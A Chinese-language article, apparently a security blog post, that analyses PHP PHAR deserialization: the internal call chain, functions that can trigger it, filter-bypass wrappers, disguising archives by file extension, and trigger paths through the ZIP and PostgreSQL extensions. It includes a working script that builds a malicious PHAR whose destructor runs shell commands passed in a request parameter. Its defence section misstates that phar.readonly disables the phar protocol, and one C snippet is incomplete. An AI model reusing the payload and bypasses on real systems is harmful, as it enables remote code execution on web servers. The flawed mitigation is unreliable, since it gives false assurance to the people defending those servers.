PHAR反序列化源代码分析
字数 1967 2025-08-24 07:48:10

PHAR反序列化漏洞深入分析与利用指南

一、PHAR反序列化漏洞概述

PHAR反序列化漏洞是一种在PHP环境中无需直接调用unserialize()函数即可触发反序列化操作的攻击方式。该漏洞由安全研究员Sam Thomas在2018年BlackHat大会上首次提出,因其利用方式隐蔽且触发函数广泛,具有较高的实际利用价值。

核心原理

  • PHAR(Php ARchive)是PHP的归档文件格式,类似于JAR文件
  • 当PHP处理phar://协议时,会自动解析文件中的metadata部分
  • 解析过程中会调用php_var_unserialize()函数对metadata进行反序列化
  • 攻击者可以构造恶意的PHAR文件,在metadata中植入恶意序列化数据

二、底层源代码分析

关键函数调用链

完整的漏洞触发调用链如下:

file_get_contents()
  → php_stream_open_wrapper_ex()
    → php_stream_locate_url_wrapper() // 获取协议处理器
    → phar_wrapper_open_url()         // PHAR协议处理器
      → phar_parse_url()
        → phar_open_from_filename()
          → phar_open_from_fp()
            → phar_parse_pharfile()
              → phar_parse_metadata()  // 解析metadata
                → php_var_unserialize() // 反序列化操作

核心代码片段分析

  1. 反序列化入口函数 (unserialize()底层实现):
PHP_FUNCTION(unserialize) {
    char *buf = NULL;
    size_t buf_len;
    const unsigned char *p;
    php_unserialize_data_t var_hash;
    zval *options = NULL, *classes = NULL;
    zval *retval;
    HashTable *class_hash = NULL, *prev_class_hash;
    
    if (buf_len == 0) {
        RETURN_FALSE;
    }
    p = (const unsigned char*) buf;
    PHP_VAR_UNSERIALIZE_INIT(var_hash);
    prev_class_hash = php_var_unserialize_get_allowed_classes(var_hash);
    
    retval = var_tmp_var(&var_hash);
    if (!php_var_unserialize(retval, &p, p + buf_len, &var_hash)) {
        // 错误处理
    }
    // ...
}
  1. PHAR元数据解析
// phar_parse_metadata()函数会调用php_var_unserialize()
// 对PHAR文件中的metadata进行反序列化

三、漏洞触发条件与利用方式

必要条件

  1. 存在文件操作函数且参数可控
  2. 攻击者能够上传或控制服务器上的PHAR文件
  3. 存在可利用的魔术方法或类

可触发漏洞的函数列表

以下函数在特定条件下可触发PHAR反序列化:

文件操作类 图像处理类 压缩处理类 数据库操作类 其他
file_get_contents() imagecreatefrompng() readgzfile() PDO::pgsqlCopyFromFile() sha1_file()
file() imagecreatefromgif() gzfile() PDO::pgsqlCopyToFile() md5_file()
readfile() imagecreatefromjpeg() bzopen() getimagesize()
fopen() imagecreatefromwbmp() get_meta_tags()
file_exists() imagecreatefromxbm() parse_ini_file()
is_file() imagecreatefromgd() highlight_file()
is_dir() imagecreatefromgd2() show_source()
stat() imageloadfont() php_strip_whitespace()

恶意PHAR文件构造示例

<?php
class EvilClass {
    public function __destruct() {
        // 恶意代码
        system($_GET['cmd']);
    }
}

@unlink('evil.phar');
$phar = new Phar('evil.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'test'); // 添加文件内容
$phar->setMetadata(new EvilClass()); // 关键:设置恶意metadata
$phar->setStub('<?php __HALT_COMPILER(); ?>'); // 必须包含的stub
$phar->stopBuffering();
?>

四、绕过防御机制的技术

1. 协议嵌套绕过

当存在对phar://的直接过滤时,可使用以下方式绕过:

// Bzip2压缩流绕过
compress.bzip2://phar:///path/to/evil.phar

// Zlib压缩流绕过
compress.zlib://phar:///path/to/evil.phar

// PHP过滤器绕过
php://filter/resource=phar:///path/to/evil.phar

2. 源代码层面的绕过原理

compress.bzip2://为例:

// ext/bz2/bz2.c
if (strstr(filename, "compress.bzip2://")) {
    path = filename + 17; // 前移17个字符,跳过"compress.bzip2://"
}
// 后续处理path时实际变为phar://...

3. 文件扩展名绕过

PHAR文件可以通过修改扩展名伪装成其他文件类型:

copy('evil.phar', 'evil.jpg'); // 伪装成图片
copy('evil.phar', 'evil.txt'); // 伪装成文本文件
// 使用时仍可用phar://协议解析

五、PHAR文件格式要求

必须包含的元素

  1. Stub:文件头,必须包含__HALT_COMPILER();语句
    $phar->setStub('<?php __HALT_COMPILER(); ?>');
    
  2. Manifest:包含文件元信息
  3. File Contents:实际文件内容
  4. Signature (可选):文件签名

底层验证机制

PHP在解析PHAR文件时会检查以下特征:

const char token[] = "__HALT_COMPILER();";
const char zip_magic[] = "PK\x03\x04";
const char gz_magic[] = "\x1f\x8b\x08";
const char bz_magic[] = "BZh";

// 检查文件是否包含这些特征
if (-1 == php_stream_seek(fp, halt_offset, SEEK_SET)) {
    MAPPHAR_ALLOC_FAIL("cannot seek to __HALT_COMPILER(); location in phar \"%s\"")
}

六、实际利用案例

1. 通过ZIP扩展触发

$zip = new ZipArchive();
$res = $zip->open('evil.zip');
$zip->extractTo('phar://evil.phar/test'); // 触发反序列化

调用链分析

ZipArchive::extractTo()
  → php_zip_extract_file()
    → php_stream_open_wrapper()
      → phar反序列化流程

2. 通过PostgreSQL扩展触发

$pdo = new PDO("pgsql:host=127.0.0.1;dbname=test", "user", "pass");
$pdo->pgsqlCopyFromFile('test', 'phar://evil.phar/test');

调用链分析

PDO::pgsqlCopyFromFile()
  → php_stream_open_wrapper_ex()
    → 直接触发phar反序列化

七、防御措施

  1. 禁用phar协议

    ; php.ini
    phar.readonly = On
    phar.require_hash = On
    
  2. 限制危险函数

    • 禁用不必要的文件操作函数
    • 使用函数白名单机制
  3. 输入验证

    • 严格检查用户提供的文件路径
    • 过滤所有协议形式的输入
  4. 类安全检查

    • 实现__wakeup()__destruct()方法的安全检查
    • 使用unserialize_callback_func设置反序列化回调
  5. 文件上传检查

    • 检查上传文件的真实类型
    • 禁止上传可疑文件类型

八、总结与思考

PHAR反序列化漏洞因其独特的触发机制和广泛的攻击面,成为PHP安全领域的重要议题。通过深入分析底层源代码,我们可以更清晰地理解:

  1. 漏洞本质在于PHP对PHAR文件metadata的自动反序列化处理
  2. 触发函数数量庞大,很多常见文件操作函数都可能成为入口点
  3. 多种绕过技术使得防御更加困难
  4. 从协议处理器到反序列化的完整调用链揭示了PHP内部处理机制

防御此类漏洞需要开发者深入理解PHP内部工作机制,采取多层次的安全防护措施,而不仅仅是简单的黑名单过滤。

PHAR反序列化漏洞深入分析与利用指南 一、PHAR反序列化漏洞概述 PHAR反序列化漏洞是一种在PHP环境中无需直接调用 unserialize() 函数即可触发反序列化操作的攻击方式。该漏洞由安全研究员Sam Thomas在2018年BlackHat大会上首次提出,因其利用方式隐蔽且触发函数广泛,具有较高的实际利用价值。 核心原理 PHAR(Php ARchive)是PHP的归档文件格式,类似于JAR文件 当PHP处理 phar:// 协议时,会自动解析文件中的metadata部分 解析过程中会调用 php_var_unserialize() 函数对metadata进行反序列化 攻击者可以构造恶意的PHAR文件,在metadata中植入恶意序列化数据 二、底层源代码分析 关键函数调用链 完整的漏洞触发调用链如下: 核心代码片段分析 反序列化入口函数 ( unserialize() 底层实现): PHAR元数据解析 : 三、漏洞触发条件与利用方式 必要条件 存在文件操作函数且参数可控 攻击者能够上传或控制服务器上的PHAR文件 存在可利用的魔术方法或类 可触发漏洞的函数列表 以下函数在特定条件下可触发PHAR反序列化: | 文件操作类 | 图像处理类 | 压缩处理类 | 数据库操作类 | 其他 | |------------|------------|------------|--------------|------| | file_ get_ contents() | imagecreatefrompng() | readgzfile() | PDO::pgsqlCopyFromFile() | sha1_ file() | | file() | imagecreatefromgif() | gzfile() | PDO::pgsqlCopyToFile() | md5_ file() | | readfile() | imagecreatefromjpeg() | bzopen() | | getimagesize() | | fopen() | imagecreatefromwbmp() | | | get_ meta_ tags() | | file_ exists() | imagecreatefromxbm() | | | parse_ ini_ file() | | is_ file() | imagecreatefromgd() | | | highlight_ file() | | is_ dir() | imagecreatefromgd2() | | | show_ source() | | stat() | imageloadfont() | | | php_ strip_ whitespace() | 恶意PHAR文件构造示例 四、绕过防御机制的技术 1. 协议嵌套绕过 当存在对 phar:// 的直接过滤时,可使用以下方式绕过: 2. 源代码层面的绕过原理 以 compress.bzip2:// 为例: 3. 文件扩展名绕过 PHAR文件可以通过修改扩展名伪装成其他文件类型: 五、PHAR文件格式要求 必须包含的元素 Stub :文件头,必须包含 __HALT_COMPILER(); 语句 Manifest :包含文件元信息 File Contents :实际文件内容 Signature (可选):文件签名 底层验证机制 PHP在解析PHAR文件时会检查以下特征: 六、实际利用案例 1. 通过ZIP扩展触发 调用链分析 : 2. 通过PostgreSQL扩展触发 调用链分析 : 七、防御措施 禁用phar协议 : 限制危险函数 : 禁用不必要的文件操作函数 使用函数白名单机制 输入验证 : 严格检查用户提供的文件路径 过滤所有协议形式的输入 类安全检查 : 实现 __wakeup() 和 __destruct() 方法的安全检查 使用 unserialize_callback_func 设置反序列化回调 文件上传检查 : 检查上传文件的真实类型 禁止上传可疑文件类型 八、总结与思考 PHAR反序列化漏洞因其独特的触发机制和广泛的攻击面,成为PHP安全领域的重要议题。通过深入分析底层源代码,我们可以更清晰地理解: 漏洞本质在于PHP对PHAR文件metadata的自动反序列化处理 触发函数数量庞大,很多常见文件操作函数都可能成为入口点 多种绕过技术使得防御更加困难 从协议处理器到反序列化的完整调用链揭示了PHP内部处理机制 防御此类漏洞需要开发者深入理解PHP内部工作机制,采取多层次的安全防护措施,而不仅仅是简单的黑名单过滤。